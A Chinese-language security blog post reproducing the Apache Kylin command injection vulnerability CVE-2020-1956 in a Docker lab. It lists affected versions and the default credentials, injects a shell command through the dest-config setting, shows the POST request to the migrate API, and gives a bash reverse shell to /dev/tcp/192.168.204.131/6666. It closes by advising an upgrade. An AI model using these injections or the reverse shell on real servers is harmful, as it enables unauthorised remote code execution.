Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现

  • A+
所属分类:安全文章

简介

Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP)等功能。

 

漏洞概述

Kylin中存在一些restful API,可以将操作系统命令与用户输入的字符串连接起来,由于未对用户输入内容做合理校验,导致攻击者可以在未经验证的情况下执行任意系统命令。

影响版本

Kylin 2.3.0-2.3.2

Kylin 2.4.0-2.4.1

Kylin 2.5.0-2.5.2

Kylin 2.6.0-2.6.5

Kylin 3.0.0-alpha

Kylin 3.0.0-alpha2

Kylin 3.0.0-beta

Kylin 3.0.0-3.0.1

环境搭建

这里使用docker进行安装

docker pull vulfocus/cve-2020-1956docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 16010:16010 vulfocus/cve-2020-1956


 

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现


 

访问http://your-ip:7070/kylin/login即可看到页面

 

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现


默认登陆账号密码admin/KYLIN

 

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现


 

漏洞复现

 

进入system选项卡,在界面上的 Set Config中,把 srcCfgUri :kylin.tool.auto-migrate-cube.src-config配置为 /home/admin/apachekylin-3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri :kylin.tool.auto-migrate-cube.dest-config 配置为/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/success; echo ;

 

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现


 

 

构建数据包并发送

POST /kylin/api/cubes/kylin_streaming_cube/learn_kylin/migrate HTTP/1.1 Host: 192.168.204.131:7070 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Authorization: Basic YWRtaW46S1lMSU4= Connection: close Referer: http://192.168.204.131:7070/kylin/admin Cookie: project=null; JSESSIONID=7C68A1AEA17A6DA7E9F4C332932B45B8


 

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现

 

再试试反弹shell

kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin truetrue true true; bash -i >& /dev/tcp/192.168.204.131/6666 0>&1; echo ;

 

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现

监听并发送数据包,成功获shell

Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现


 

修复建议

 

升级到安全版本

http://kylin.apache.org/cn/download/

    

本文始发于微信公众号(锋刃科技):Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: